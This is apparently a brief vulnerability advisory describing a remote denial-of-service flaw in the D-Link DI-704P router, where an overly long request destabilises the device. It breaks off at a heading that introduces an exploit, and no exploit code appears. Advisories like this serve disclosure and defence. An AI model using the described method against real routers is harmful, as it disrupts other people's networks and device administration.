D-Link DI-704P has been reported prone to a remote denial of service vulnerability.

The issue presents itself when a request of excessive length is sent to the router. This causes the device to behave in an unstable manner.

Malicious requests may result in a complete denial of service condition requiring a device reboot, or the loss of the ability to log in to the administration interface.

Although unconfirmed, it should be noted that other D-Link devices that use related firmware might also be affected.

To disable the device entirely:
